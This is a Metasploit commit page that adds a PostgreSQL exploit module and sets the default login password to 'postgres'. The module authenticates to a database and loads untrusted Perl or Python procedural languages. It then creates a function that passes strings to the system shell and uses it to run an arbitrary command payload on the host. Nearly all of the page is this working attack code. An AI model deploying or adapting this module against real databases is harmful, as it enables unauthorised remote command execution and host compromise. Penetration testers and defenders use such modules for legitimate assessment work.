Skip to content

Commit 437c6e1

Browse files
committed
Land rapid7#6417, Add Postgres createlang - Code execution with dynamic langs
2 parents 5839e2e + 2887531 commit 437c6e1

File tree

2 files changed

+209
-1
lines changed

2 files changed

+209
-1
lines changed

lib/msf/core/exploit/postgres.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -32,7 +32,7 @@ def initialize(info = {})
3232
Opt::RPORT(5432),
3333
OptString.new('DATABASE', [ true, 'The database to authenticate against', 'template1']),
3434
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'postgres']),
35-
OptString.new('PASSWORD', [ false, 'The password for the specified username. Leave blank for a random password.', '']),
35+
OptString.new('PASSWORD', [ false, 'The password for the specified username. Leave blank for a random password.', 'postgres']),
3636
OptBool.new('VERBOSE', [false, 'Enable verbose output', false]),
3737
OptString.new('SQL', [ false, 'The SQL query to execute', 'select version()']),
3838
OptBool.new('RETURN_ROWSET', [false, "Set to true to see query result sets", true])
Lines changed: 208 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,208 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/exploit/postgres'
8+
9+
class MetasploitModule < Msf::Exploit::Remote
10+
Rank = GoodRanking
11+
12+
include Msf::Exploit::Remote::Postgres
13+
include Msf::Exploit::Remote::Tcp
14+
include Msf::Auxiliary::Report
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'PostgreSQL CREATE LANGUAGE Execution',
19+
'Description' => %q(
20+
Some installations of Postgres 8 and 9 are configured to allow loading external scripting languages.
21+
Most commonly this is Perl and Python. When enabled, command execution is possible on the host.
22+
To execute system commands, loading the "untrusted" version of the language is necessary.
23+
This requires a superuser. This is usually postgres. The execution should be platform-agnostic,
24+
and has been tested on OS X, Windows, and Linux.
25+
26+
This module attempts to load Perl or Python to execute system commands. As this dynamically loads
27+
a scripting language to execute commands, it is not necessary to drop a file on the filesystem.
28+
29+
Only Postgres 8 and up are supported.
30+
),
31+
'Author' => [
32+
'Micheal Cottingham', # author of this module
33+
'midnitesnake', # the postgres_payload module that this is based on,
34+
'Nixawk' # Improves the module
35+
],
36+
'License' => MSF_LICENSE,
37+
'References' => [
38+
['URL', 'http://www.postgresql.org/docs/current/static/sql-createlanguage.html'],
39+
['URL', 'http://www.postgresql.org/docs/current/static/plperl.html'],
40+
['URL', 'http://www.postgresql.org/docs/current/static/plpython.html']
41+
],
42+
'Platform' => %w(linux unix win osx),
43+
'Payload' => {
44+
'PayloadType' => %w(cmd)
45+
},
46+
'Arch' => [ARCH_CMD],
47+
'Targets' => [
48+
['Automatic', {}]
49+
],
50+
'DefaultTarget' => 0,
51+
'DisclosureDate' => 'Jan 1 2016'))
52+
53+
deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
54+
end
55+
56+
def postgres_major_version(version)
57+
version_match = version.match(/(?<software>\w{10})\s(?<major_version>\d{1,2})\.(?<minor_version>\d{1,2})\.(?<revision>\d{1,2})/)
58+
version_match['major_version']
59+
end
60+
61+
def check
62+
if vuln_version?
63+
Exploit::CheckCode::Appears
64+
else
65+
Exploit::CheckCode::Safe
66+
end
67+
end
68+
69+
def vuln_version?
70+
version = postgres_fingerprint
71+
if version[:auth]
72+
major_version = postgres_major_version(version[:auth])
73+
return true if major_version && major_version.to_i >= 8
74+
end
75+
false
76+
end
77+
78+
def login_success?
79+
status = do_login(username, password, database)
80+
case status
81+
when :noauth
82+
print_error "#{peer} - Authentication failed"
83+
return false
84+
when :noconn
85+
print_error "#{peer} - Connection failed"
86+
return false
87+
else
88+
print_status "#{peer} - #{status}"
89+
return true
90+
end
91+
end
92+
93+
def load_extension?(language)
94+
case load_procedural_language(language, 'LANGUAGE')
95+
when :exists
96+
print_good "#{peer} - #{language} is already loaded, continuing"
97+
return true
98+
when :loaded
99+
print_good "#{peer} - #{language} was successfully loaded, continuing"
100+
return true
101+
when :not_exists
102+
print_status "#{peer} - #{language} could not be loaded"
103+
return false
104+
else
105+
print_error "#{peer} - error occurred loading #{language}"
106+
return false
107+
end
108+
end
109+
110+
def exec_function?(func_name)
111+
query = "SELECT exec_#{func_name}('#{payload.encoded.gsub("'", "''")}')"
112+
select_query = postgres_query(query)
113+
114+
case select_query.keys[0]
115+
when :conn_error
116+
print_error "#{peer} - Connection error"
117+
return false
118+
when :sql_error
119+
print_error "#{peer} - Exploit failed"
120+
return false
121+
when :complete
122+
print_good "#{peer} - Exploit successful"
123+
return true
124+
else
125+
print_error "#{peer} - Unknown"
126+
return false
127+
end
128+
end
129+
130+
def create_function?(language, func_name)
131+
load_func = ''
132+
133+
case language
134+
when 'perl'
135+
query = "CREATE OR REPLACE FUNCTION exec_#{func_name}(text) RETURNS void as $$"
136+
query << "`$_[0]`;"
137+
query << "$$ LANGUAGE pl#{language}u"
138+
load_func = postgres_query(query)
139+
when /^python(?:2|3)?/i
140+
query = "CREATE OR REPLACE FUNCTION exec_#{func_name}(c text) RETURNS void as $$\r"
141+
query << "import subprocess, shlex\rsubprocess.check_output(shlex.split(c))\r"
142+
query << "$$ LANGUAGE pl#{language}u"
143+
load_func = postgres_query(query)
144+
end
145+
146+
case load_func.keys[0]
147+
when :conn_error
148+
print_error "#{peer} - Connection error"
149+
return false
150+
when :sql_error
151+
print_error "#{peer} Exploit failed"
152+
return false
153+
when :complete
154+
print_good "#{peer} - Loaded UDF (exec_#{func_name})"
155+
return true
156+
else
157+
print_error "#{peer} - Unknown"
158+
return false
159+
end
160+
end
161+
162+
def load_procedural_language(language, extension)
163+
query = "CREATE #{extension} pl#{language}u"
164+
load_language = postgres_query(query)
165+
return :loaded unless load_language.keys[0] == :sql_error
166+
167+
match_exists = load_language[:sql_error].match(/(?:(extension|language) "pl#{language}u" already exists)/m)
168+
return :exists if match_exists
169+
170+
match_error = load_language[:sql_error].match(/(?:could not (?:open extension control|access) file|unsupported language)/m)
171+
return :not_exists if match_error
172+
end
173+
174+
def do_login(user, pass, database)
175+
begin
176+
password = pass || postgres_password
177+
result = postgres_fingerprint(
178+
db: database,
179+
username: user,
180+
password: password
181+
)
182+
183+
return result[:auth] if result[:auth]
184+
print_status "#{peer} - Login failed"
185+
return :noauth
186+
187+
rescue Rex::ConnectionError
188+
return :noconn
189+
end
190+
end
191+
192+
def exploit
193+
return unless vuln_version?
194+
return unless login_success?
195+
196+
languages = %w(perl python python2 python3)
197+
languages.each do |language|
198+
next unless load_extension?(language)
199+
func_name = Rex::Text.rand_text_alpha(10)
200+
next unless create_function?(language, func_name)
201+
if exec_function?(func_name)
202+
print_warning "Please clear extension [#{language}]: function [#{func_name}] manually"
203+
break
204+
end
205+
end
206+
postgres_logout if @postgres_conn
207+
end
208+
end

0 commit comments

Comments
 (0)